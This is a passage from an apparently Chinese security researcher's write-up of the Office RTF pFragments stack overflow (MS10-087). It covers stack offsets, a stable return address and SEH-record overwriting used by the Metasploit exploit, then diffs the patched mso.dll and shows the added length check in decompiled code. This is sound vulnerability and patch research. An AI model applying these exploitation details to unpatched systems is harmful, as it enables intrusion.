(IL,.Net编译),这个异常处理就可以被执行
。
在XP&Office2003
环境下,pFragments缓冲区起始地址为0x001237dc
,栈底为0x00130000
,0x00130000-0x001237dc=0xc824
。在Win7&Office2007
的环境下,pFragments缓冲区起始地址为0x0011fdf4
,栈底为0x00130000
,0x00130000-0x0011fdf4=0x1020c(关闭ASLR)
。未关闭ASLR
的情况下,都是大于0x10000
的。msf样本生成脚本中,使用的复制数据长度
为0xc8ac
,这也是为什么用msf生成的样本在XP&Office2003
环境下,复制过程中
就会触发内存访问异常
,而在Win7&Office2007
的环境下,数据复制完成
后,对已经覆盖的栈数据
进行访问时才触发内存访问异常
。发生异常的原因,和“覆盖返回地址”
节的一样,sub_30F0B5C2
(Office2003)/sub_32E5955E
(Office2007)的第5个参数
未被修改为0x0
,sub_30F0B5C2
/sub_32E5955E
返回前对已覆盖的栈数据
进行访问,造成异常
。
“漏洞战争”
中,泉哥
提供的思路是Office2003
通过覆盖返回地址
进行漏洞利用,被利用来覆盖返回地址的地址
是0x0026762f
,在Office2003
下是“call esp”
的地址,该地址适用于Office2003 SP0-SP3
等各个子版本,属于稳定的跳转地址。而在Office2007
中,0x0026762f
已不再是call/jmp esp形式的指令,但是用此地址覆盖Office2007
中关键函数sub_32E5955E
的返回地址
,会造成异常
,继而转入SEH异常处理程序
。我们只需要同时覆盖Office2007
环境下栈中最近的SEH记录
,就可以劫持SEH异常处理程序。
在msf漏洞利用模块
中,Targets
中有一个“Automatic”
选项,其作用是将多个环境
的相关Target数据
糅合到一个样本
中,达到Exploit的通用性
。因为msf漏洞利用模块
对于所有环境,使用的都是覆盖SEH记录
进行漏洞利用,而不同环境下SEH记录
距缓冲区起始地址
的Offset
各不相同,所以很少会出现数据冲突
的情况。
0x50 漏洞修复 环境:
Win7&Office2007
既然要分析这个漏洞
官方是怎么修复
的,首先要找到此漏洞对应的补丁
。由于漏洞年代久远,Microsoft的网站
又发生了很大的改变,补丁的下载页面
已经找不到了,只找到如下两个链接
: 1、Microsoft 安全公告 MS10-087 - 严重 2、MS10-087:Microsoft Office 中的漏洞可能允许远程代码执行
虽然当时的补丁公告页面
已经无法下载补丁了,但是我们可以通过官方提供的补丁下载站 下载指定补丁。我们可以使用KB编号
(Knowledge Base:知识库)进行搜索,或者使用此漏洞的微软漏洞编号MS10-087
进行搜索就可以了。
我下载的是Office2007
的补丁。我的分析环境中使用的是Office2007
,未安装任何Service Pack
包。如果直接安装
这个补丁的话,会提示下图所示错误
:
这里提示说有两个原因
,原因一
是升级修补程序可能更新的是不同版本的程序,也就是说,我们安装的版本
与补丁检测的版本
不匹配。原因二
是升级修补程序不正确,也就是说补丁安装程序损坏了
。经过思考,第一种
的可能性大一点,我又查看了一下此漏洞的公告
,公告中说此漏洞影响的是Office2007SP2
版本,所以就想到可能是因为我没有安装Office2007SP2升级包
。安装完Office2007SP2升级包
,此漏洞的补丁就可以安装了。如下是补丁安装前后
mso.dll的版本号:
1 2 3 1、SP2安装前:12.0.4518.1014 2、SP2安装后:12.0.6425.1000 3、补丁安装后:12.0.6545.5004
我这里使用的是“12.0.4518.1014”
和“12.0.6545.5004”
进行对比。这里要吐槽一下BinDiff
这个工具,分析实在是太慢了。第一次我是用的是BinDiff4.3&IDA Pro6.8
进行分析,结果我电脑开了一晚上也没分析完,前一个漏洞
我也是用此版本
来分析的,没出现任何问题
。我看了一下BinDiff的文档
,看到BinDiff4.3
是基于IDA SDK6.95
的,会不会是因为IDA的版本低了?又看到BinDiff4.2
是基于IDA SDK6.8
构建的,所以就想BinDiff4.2&IDA Pro6.8
的组合应该没问题了吧。开始尝试,经过一段很长的时间
,我终于成功了。期间,我还试了BinDiff5&IDA Pro7.2
,并未成功,测试的原因是想看看新版本
会不会缩短比较的时间
。由于此漏洞
涉及到的模块mso.dll比较大
,生成的idb
都在200MB
左右,所以需要较长时间
,请耐心等待。BinDiff4.3&IDA Pro6.8
失败的特征是,BinDiff的进度条
一直在显示Diff中,但是BinDiff的进程
却在生成.BinDiff
文件后,占用很少的CPU
,可以分析出BinDiff
因为某些原因卡住了
,但并未提示错误
。
之前分析漏洞原因
时,关键漏洞函数
位于“12.0.4518.1014”
版mso.dll
的sub_32E5955E
函数中,通过函数名
,我们可以在Matched Functions
中快速定位,找到之后,双击,就可以打开“12.0.4518.1014”
版mso.dll
的sub_32E5955E
函数与“12.0.6545.5004”
版mso.dll
中的对应函数sub_32E0239B
的FlowGraphs
。通过对比代码块
,我们可以快速定位到添加补丁代码
的位置。下图是两个函数代码块
的对比图:
我们在IDA
中找到多出来
的那部分代码块
,对其进行详细分析
。结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 char __userpurge sub_32E5955E@<al>(int a1@<eax>, int a2, int a3, int a4, int *a5, int a6){ ...... if ( a6 ) { v7 = *(_DWORD *)(sub_327A2549(*(_DWORD *)(a1 + 8 )) + 100 ); v17 = 0 ; v8 = *(_DWORD *)v7; v16 = 83886080 ; (*(void (__stdcall **)(int , int *, int ))(v8 + 28 ))(v7, &v15, a3); result = sub_32E5941B(v15, a2, a5 != 0 ? (unsigned int )&v17 : 0 , a6); if ( result ) { ...... } } else { sub_32E6AEA8(863334498 ); result = 0 ; } return result; } char __userpurge sub_32E0239B@<al>(int a1@<eax>, int a2, int a3, int a4, int *a5, int a6){ ...... if ( a6 ) { v7 = *(_DWORD *)(sub_327DAFBD(*(_DWORD *)(a1 + 8 )) + 100 ); v16 = 0 ; v15 = 83886080 ; if ( v7 && (unsigned int )(*(int (__stdcall **)(int ))(*(_DWORD *)v7 + 48 ))(v7) <= 4 && (*(int (__stdcall **)(int ))(*(_DWORD *)v7 + 44 ))(v7) > a4 && (*(int (__stdcall **)(int ))(*(_DWORD *)v7 + 44 ))(v7) > a3 && a3 >= 0 && a4 >= 0 && ((*(void (__stdcall **)(int , int *, int ))(*(_DWORD *)v7 + 28 ))(v7, &v14, a3), (unsigned __int8)sub_32E02258(v14, a2, a5 != 0 ? (unsigned int )&v16 : 0 , a6)) ) { ...... } else { result = 0 ; } } else { sub_32E197A4(863334498 ); result = 0 ; } return result; }
可以看到补丁
后的关键函数
中只有满足了那个关键if
中的很多条件
才能执行到将pFragments属性数据
复制到栈上
的虚函数
。因为涉及到了很多虚函数
,只是静态分析
是不行的,所以要结合动态调试
确定虚函数的地址
,进而分析虚函数的功能
。功能我已经分析完,写在了上面代码的注释
中。其中第一个条件
就是判断pFragments属性数据长度
的。如果pFragments属性数据大于4字节
,则不再执行内存复制
,直接返回,从而解决了此漏洞。
0x60 Reference